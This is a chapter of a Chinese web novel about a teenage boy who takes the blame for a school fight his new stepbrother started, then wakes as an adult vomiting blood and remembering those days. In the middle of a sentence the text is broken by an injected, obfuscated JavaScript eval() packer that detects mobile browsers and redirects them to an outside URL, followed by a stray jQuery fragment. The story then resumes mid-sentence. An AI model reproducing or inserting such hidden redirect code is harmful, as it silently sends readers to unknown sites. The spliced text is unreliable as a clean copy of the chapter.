答应是答应下来了,但陈舷砸吧了两下嘴以后,“呀”了声。
“能不能吃上饭,还不一定。”他说,“没准,咱俩今天这学不用上了。”
方谕不解:“为什么?”
“废话啊你,我们打架斗殴了。”陈舷伸着食指,在他胳膊上重重点了两下,“傻呀,小鱼,打了架肯定叫家长的,你还把宗哲阳揍成这熊样,多严重。”
他这一声“小鱼”,叫得方谕脸一拉,五官扭曲地龇牙咧嘴了下。
“你别这么叫我。”方谕一脸牙疼。
陈舷嘿嘿地笑,不以为意,还跟个傻狗似的摇头晃脑两下,又拿胳膊肘怼怼他:“哎,一会儿要是拎咱俩进去审问,你别承认是你打的。你就说,是我先上去动的手。”
“为什么?”方谕又问。
“……你是真傻呀你。”陈舷啧了声,“你早上刚在家里跟你妈说了宗哲阳,你妈是怎么说的,还要我提醒你呀?”
方谕不吭声了。
“她肯定怪你,”陈舷说,“我就不一样了,她不好意思骂我的。再说,班主任也喜欢我,宗哲阳还有前科。要是说是我动的手,不管咋样,我处分肯定比你轻。你还刚转学过来,没几天就背个处分,多不好看。我就不一样了,我没脸没皮,还是这沙比学校的原住民,不怕那些。”
方谕半信半疑:“能这么顺利吗,真的是我先动的手啊。”
“学校又没监控!”陈舷被他整得懊恼起来,“我发现你怎么脑子那么死呢,你就硬说是我先动的手,咬死这事儿,没事的!宗哲阳他本来就有毛病,那小嘴儿一张就是天天造谣,没人信他的!你信你哥的!”
“叫人来对质怎么办?”方谕犹豫。
“那没事,”陈舷说,“我打信号就行,咱班唯一的优点就是团结。”
*
第一节课上了一半的时候,走廊里响起一阵噔噔的急促脚步声。
办公室的门被匆忙推开,方真圆满头大汗地跑了进来。
她抬眼一瞧。
陈舷和方谕,还有一个被揍成猪头看不出到底长什么样的少年,仨人并排靠墙站着。
方真圆狠狠瞪了方谕一眼,转头赶紧向程慧丽赔笑:“不好意思老师,这孩子我带回去,肯定好好教育!您千万别给他记处分……”
“这你得跟对方家长商量。”程慧丽看了她一眼,回头挖了眼陈舷,“就算这位同学有做得不对的地方,那也不能这么打。”
“是是是,您说的是。”方真圆说,“方谕,赶紧给同学道歉!像什么话,才转学过来几天……”
程慧丽:“……不是他。”
方真圆表情一滞:“啊?”
“是陈舷。”程慧丽朝陈舷撇了撇脑袋。
方真圆的表情顿时青了一阵。
陈舷摸摸鼻子,努力憋住笑,往前一步,出了列,把两手放到身前,像酒店迎宾的似的,朝着猪头宗哲阳深深鞠了一躬:“对不起。”
“我不该因为你说我是孤儿就打你,也不该因为你要抢我弟弟的钱就打你。”
方真圆的脸更青了。
最后,这事儿没再过问方谕。
陈舷也没再道歉,第一节课下了课以后,他跟方谕俩人被老师赶回了教室。宗哲阳没能回教室,还在办公室被扣着。
一进教室门,陈舷就对着叶凡月虔诚地拜了几拜。
“多谢女王!”他极其夸张地拱手。
“行了行了,快一边去。”叶凡月哭笑不得地把他推开,又问,“没说你什么吧?”
“没啥,你走以后,程姐就直接叫家长了。”陈舷直起身来,一脸感动,“还得是叶姐,感谢叶姐帮我遮掩。”
刚刚在办公室里,叶凡月被程慧丽叫了过去,询问情况。
她刚站到程慧丽跟前,话还没说一句,陈舷赶紧咳嗽了声。
叶凡月转头望向他。
陈舷做作地抹了一把脸,伤心欲绝:“我第一个出手打他,还不是因为他骂我孤儿?关方谕什么事,他真能胡编乱造。老师你不能这样,这个姓宗的天天满嘴胡话你又不是不知道……”
程慧丽狠狠一瞪他:“把嘴闭上!”
宗哲阳也骂起来:“你他大爷说什么!陈舷你是不是有——”
程慧丽又说:“你也闭嘴!!”
宗哲阳也不得不把嘴闭上了,一脸不服。
“你说,”程慧丽气呼呼地转过头,对着女孩又放软语气,“别怕,实话实说,到底是谁先动的手?”
叶凡月多望了陈舷一眼。
老师看不见的地方,陈舷十分用力地对她挤眉弄眼了下,做了个口型,还伸出食指,使劲往自己身上指了指。
全、是、我。
叶凡月深以为然地一仰头,坚定无比:“是陈舷,招呼大家群殴宗哲阳的也是陈舷。”
陈舷脸色一亮,站在程慧丽后边,偷偷咧嘴一乐,给她比了个大拇指。
*
方谕拍了拍陈舷的肩膀,算是跟他打了个招呼,然后转身就回了自己座位上。
等他走远了些,叶凡月才把身子往前探了探,不解问道:“舷哥,尚铭我理解,你俩铁哥们,你帮他担下来无可厚非。但你为什么包庇他?冰大帅没给过你好脸啊。”
“家家有本难念的经嘛。”陈舷呵呵笑。
陈舷和方谕没能在教室里留很久,第二节课上一半,他俩又被叫走了,方真圆开车带他俩回了家。
车上,方真圆愁眉苦脸,好几次欲言又止,连连瞟了好几眼后视镜里的陈舷。
陈舷十分想笑。
果然和他想的一样,方真圆不敢骂他。
到最后,方真圆也只是叹气,说:“我还是要跟你爸说一下。”
“说吧。”陈舷点头。
车子开到了家楼下。
回到家里,方真圆就拿出手机,给老陈打了电话。
陈舷放下书包,转头去厨房里打开冰箱,拿了两罐可乐。方谕正好也过来了,他递给方谕一罐。
方谕很有礼貌地把他的手推开。
“我不喝带气的。”他说。
“哦,这样。”陈舷把可乐放回去,把一瓶橙汁拿出来给他,这也是方真圆特意买的。
方谕接了过去。
他一边拧开盖,一边回头担忧地睨了眼走到阳台边上打电话去的方真圆:“没事吗?”
“没事儿,打去吧。”陈舷笑着,“事出有因,我爸不会太认真。”
方谕拿起橙汁喝了口,转头望了眼方真圆。
她背着身子,和电话那头说着话。
电话打出去了,但老陈没回来。
老陈挺忙,他开了家装修公司,白天的时候都得去跑业务,很多时候晚上也得应酬,忙得脚不沾地,没空教育陈舷。
不过方真圆嫁到家里来以后,老陈收敛了很多,有很多个晚上六七点的时候就回来了。
家里只有陈舷这个半大小子的时候,老陈往往十一二点才回家。
今天也一样。
等到晚上天黑下来,老陈才回来。
听见门开的动静,陈舷走出门来。
老陈刚在门口换好鞋。
抬头看见陈舷,他眼神如常,没说什么,只是抬手摘掉脖子上的围巾,随口问道:“打架了?”
陈舷点了头。
“他骂我孤儿,”陈舷说,“本来这个还能忍,但是他好像跟方谕认识,说让他给钱,不然就怎么怎么样。”
“要怎么样,我没听到。但我听着是威胁啊,一个没忍住就动手了。”
一搬出方谕,陈胜强顿时也没话说了。
陈舷往他旁边看了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15507643|170483||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼,就见方真圆表情复杂。
方谕下午时被方真圆谈过人生了,在他的卧室里。
这个新房隔音没那么好,陈舷坐在隔壁,即使方真圆把声音压得很低,他也听到了些只言片语。
他听见方谕告诉方真圆,宗哲阳都说了什么。
方真圆好半天没说话。
这会儿,她也没说话。
陈胜强看了她一眼。
方真圆想了想,凑近过去,嘟囔着跟他咬了会儿耳朵。
陈舷站在不远处,听不见她究竟在说什么,但陈胜强眼里肉眼可见地浮起一片五味杂陈——方真圆多半是跟他说了方谕被威胁的内容。
有关方谕他亲爸,她的前夫。
陈胜强一定是知道的。
所以他也表情复杂地抿了会儿嘴,对陈舷挥挥手:“打赢了就行,这回算你讲义气。下回文明点儿解决,这次就算了,你不用再管了。”
方谕真好用。
陈舷点了点头,嘴一咧乐起来,贱不次喽地晃悠两下肩膀,说了句“谢谢老爸爱你明天见”,转头就窜进了屋子里。
陈胜强在屋外头笑出声来,骂了句“没正经的玩意儿”。
关上门,陈舷靠到门后边,打开手机,给方谕发了个“强壮”加“学生”加“比耶”的一连串三个黄豆表情,以此宣告他这次的全面胜利。
方谕给他回了个敬礼的黄豆表情。
陈舷吃吃笑起来。
紧接着,方谕又给他发了一条。
无人守夜:明天一起走。
陈舷眼睛一亮:包的
——一股腥甜突然涌上喉咙。
好像有把刀捅进了胃里,顿时,一阵撕裂的痛楚。
陈舷一个激灵,从梦里惊醒。
他痛得身子像虾似的一缩,捂住嘴,赶紧翻身下床,踉踉跄跄跑进卫生间,冲到洗手台前,呕地一口血吐了出来。
一口口的血落进水池里,落下的瞬间绽成狰狞的花。
陈舷呕了半晌,终于吐了个干净。
他没了力气,打开水龙头冲掉血后,人就抓着洗手台的边缘,慢慢坐到了地上。
他仰头躺到洗手间冰凉的地板上,喘着粗气缓了一会儿。视野里,挂在天花板上的灯明亮刺眼,惹得视线里变得一片模糊,重影阵阵。
陈舷脑子不太清醒,恍恍惚惚地忽然分辨不清自己在哪儿。
他好像又闻见花香味儿了,听见窗外的鸟叫声,听见方真圆在厨房里咚咚锵锵。他转头,似有似无地看见不远处有张书桌,书桌上的花瓶里插着花。
十五岁的时候,方真圆在他书桌上摆了个花瓶,总喜欢时不时地给他插上两朵花。
有时候是三角梅,有时候是小白菊,有时候是陈舷叫不出名字的漂亮花朵。
后来方真圆懒得弄了,瓶子就那么空了下来。
方谕看他花瓶总空,后来就子承母业的也给他买花回来,插上。
陈舷眼神麻木发空地望着那虚无缥缈的花瓶,知道自己又出幻觉了。
思绪控制不住地飘回十二年前,他又想起和方谕破冰那天。
想起空气里飘飘浮浮的灰尘,想起教室里传出的此起彼伏的早读声。那时方谕第一次对着他笑出声来,笑得直不起腰,笑着叫他哥。
那时候方谕十四岁,丹凤眼还很嫩,没有很锐利,在太阳照不到的地方亮晶晶地望着他。
好想回去啊。
陈舷呆呆地望着眼前。
那时候什么都还没发生。
错果还没发芽,不该有的心思都还没出生。
方谕只是真诚地叫他哥,陈舷也只是真诚地应下来。十四五的小孩,打一架就冰释前嫌,互相露个口子便相互理解。
那时候他们心思单纯,什么都没多想。
真想回去。